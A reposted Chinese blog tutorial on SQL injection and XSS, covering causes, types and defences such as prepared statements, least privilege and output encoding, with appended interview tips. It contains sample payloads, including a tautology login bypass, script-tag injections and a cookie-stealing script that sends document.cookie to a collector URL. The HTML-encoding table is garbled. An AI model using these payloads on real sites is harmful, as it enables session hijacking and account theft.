【转载】SQL注入与XSS攻击

版权声明:本文为CSDN博主「PiLriD.」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wenroudong/article/details/121161873
————————————————

一、SQL注入

注入攻击的本质:把用户输入的数据当做代码执行。

两个必要的条件:

一是用户可以控制输入;二是原本要执行的代码拼接了用户的输入数据。

  • 任何可以与数据库交互的编程语言都可能出现SQL注入漏洞。

  • SQL注入能够让攻击者对服务器进行任意的文件读取,危害巨大。

修复建议:

  • 普通用户与系统管理员用户的权限要有严格的区分

数据库应该使用最小权限原则,例如普通用户不允许去查询系统表、调用loadlife函数等;即使终端用户使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。

  • 加强对用户输入的验证

原则:不相信用户的一切输入。始终通过测试类型、长度、格式和范围来验证用户输入,对数据库的特殊字符(‘“<>&*_等)进行转义处理,或编码转换,过滤用户输入的内容。

  • 使用预编译处理

使用预编译的SQL语句,变量用?表示, 使得SQL查询的语义逻辑被预先定义,而实际的查询参数值则等到程序运行时再确定。因此攻击者无法改变SQL的结构。在上面的例子中,如果攻击者插入类似 1’or ‘1’=‘1的字符串,也只能将此字符串当做username来匹配查询。

  • 统一编码

网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。

  • 异常信息

避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判定。

跨站脚本攻击(XSS):

WEB程序中最常见的漏洞之一。指攻击者通过“HTML注入”篡改了正常网页,当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而控制用户浏览器的一种攻击

二、XXS漏洞

XSS产生原理:假设有下面一个textbox

<input type="text" name="add1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入

“/><script>alert(document.cookie)</script><!– 那么就会变成

<input type="text" name="add1" value="“/><script>alert(document.cookie)</script><!–

嵌入的JavaScript代码将会被执行,或者用户输入的是

”οnfοcus=“alert(document.cookie) 那么就会变成

事件被触发的时候嵌入的javascript代码将会被执行,攻击的威力,取决于用户输入了什么样的脚本。

XSS分类

  • 反射型XSS(Reflected XSS):

把用户输入的数据“反射”给浏览器,往往需要诱使用户点击一个恶意的链接,才能攻击成功。也叫作“非持久型xss”

  • 存储型XSS(stored XSS):

通过提交构造好的攻击语句到服务器的数据库或者本地文件中,当Web程序从数据库或文件中读出这些攻击语句并输出到访问者页面的时候就会执行,所以这种攻击也叫作“持久型xss”。

XSS危害

  • XSS危害-XSS会话劫持

假设某个页面存在XSS跨站脚本漏洞,攻击者只需要精心构造一个恶意的url,并加入下面这一段脚本:

<script>window.open('http://127.0.0.1:10003?msg='+document.cookie)</script>

这个时候呢,攻击者建立一个网站或者写一小段代码,用来接收js脚本发送来的信息

然后把构造的恶意url通过某种方式(邮件、QQ)发给被攻击者。

只要被攻击者点开了这个链接,他的cookie身份信息就被获取到了,攻击者就可以在会话有效期内,冒用该用户的身份去肆意执行他想做的操作。

  • XSS危害-注入木马蠕虫脚本

通过XSS攻击,攻击者可以把一段脚本注入到服务器上,用户访问服务器的某个url,这个url就会将远端的js注入进来,这个js就会自动的进行某些非法操作,从而导致用户被迫执行攻击者期望的操作。

通过这种途径,攻击者就可以通过这些病毒、木马和蠕虫,进一步地对受害者的主机发动攻击。目前,互联网上的“挂马”现象非常普遍,而XSS注入的出现也无疑给“挂马”的攻击者指明了又一个新的方向。通过传播这些木马,窃取合法用户的敏感信息,不少非法攻击者也逐渐将这一过程产业化,经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失,造成的危害也很大。

XSS漏洞防范

  • XSS漏洞防范-2.输入检查

原则:不相信用户输入的数据

对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致

脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字

只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,数

字之外的字符都过滤掉。

我们也要考虑用户可能绕开ASCII码,因此,对用户输入的十六进制编码,我们

也要进行相应的过滤。

  • XSS漏洞防范-3.输出检查

在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击。

编码分很多种,针对HTML代码的编码方式是HTMLEncode:

& -- >&

< -- ><

> -- >>

“ -- >"

‘ -- >'

/ -- >/


1
什么是sql注入?如何避免?
阿里云.
https://developer.aliyun.com/article/1612176
2
[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(一)sql注入相关面试题
CSDN软件开发网
https://wenku.csdn.net/answer/2ff79660e4d611edbcb5fa163eeb3507
3
SQL注入和防御方法
CSDN软件开发网
https://blog.csdn.net/weixin_57763462/article/details/140027336
4
SQL注入是什么,如何避免SQL注入?
哔哩哔哩弹幕网
https://www.bilibili.com/opus/912037383381188608
SQL注入是一种针对Web应用程序的攻击方式,攻击者通过在应用程序的输入字段中插入恶意的SQL代码来操纵数据库,从而窃取、插入或修改数据库中的数据。以下是对SQL注入的详细解答:

一、SQL注入的定义
SQL注入是指攻击者通过在应用程序的输入字段中插入恶意的SQL代码,欺骗数据库服务器执行非预期的数据库操作。这种攻击可能导致数据泄露、篡改或丢失,对Web应用程序的安全性构成严重威胁。

二、触发SQL注入的方式
触发SQL注入的方式通常涉及在应用程序的输入字段中输入恶意的SQL代码。以下是一些常见的触发SQL注入的方式:

直接在输入字段中输入恶意代码:例如,在登录表单的用户名或密码字段中输入恶意代码,试图绕过身份验证和授权控制。
利用SQL语句的拼接特性:如果应用程序将用户输入直接拼接到SQL语句中,攻击者可以利用这一特性注入恶意代码。
利用SQL语句的注释特性:在SQL语句中插入注释,以隐藏或修改原始SQL语句的意图。
三、避免SQL注入的方法
为了避免SQL注入攻击,开发者需要采取一系列的安全措施。以下是一些常见的避免SQL注入的方法:

使用预编译语句和参数化查询:通过预编译语句和参数化查询,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,从而避免注入攻击。
对用户输入进行严格的验证和过滤:对所有用户输入的数据进行严格的格式和内容检查,确保它们不包含任何可能用于SQL注入的字符或字符串。
限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。这样即使发生注入攻击,攻击者能做的也非常有限。
使用ORM框架:对象关系映射(ORM)框架可以帮助开发者以更抽象的方式处理数据库交互,从而减少直接编写SQL语句的需求。
定期更新和打补丁:保持数据库管理系统和相关软件的最新状态,及时应用安全补丁来修复已知漏洞。
使用Web应用防火墙(WAF):WAF可以监控HTTP请求,识别并阻止包含潜在SQL注入攻击模式的请求。
四、面试时如何回答关于SQL注入的问题
在面试时,如果被问到关于SQL注入的问题,可以按照以下思路进行回答:

定义SQL注入:首先简要介绍SQL注入是一种针对Web应用程序的攻击方式,攻击者通过在应用程序中插入恶意SQL语句来操纵数据库。
触发方式:列举一些常见的触发SQL注入的方式,如直接在输入字段中输入恶意代码、利用SQL语句的拼接特性等。
防御措施:详细介绍避免SQL注入的方法,如使用预编译语句和参数化查询、对用户输入进行严格的验证和过滤、限制数据库权限等。
实践经验:如果可能的话,可以分享一些在实际项目中避免SQL注入的经验和教训,以展示自己的实践能力和对安全性的重视。
通过以上回答,可以展示自己对SQL注入攻击的理解、防御措施以及实践经验,从而在面试中脱颖而出。

posted @   wanglei1900  阅读(304)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
历史上的今天:
2022-02-22 elementUI 上传upload组件和表单验证(自定义验证规则)
点击右上角即可分享
微信分享提示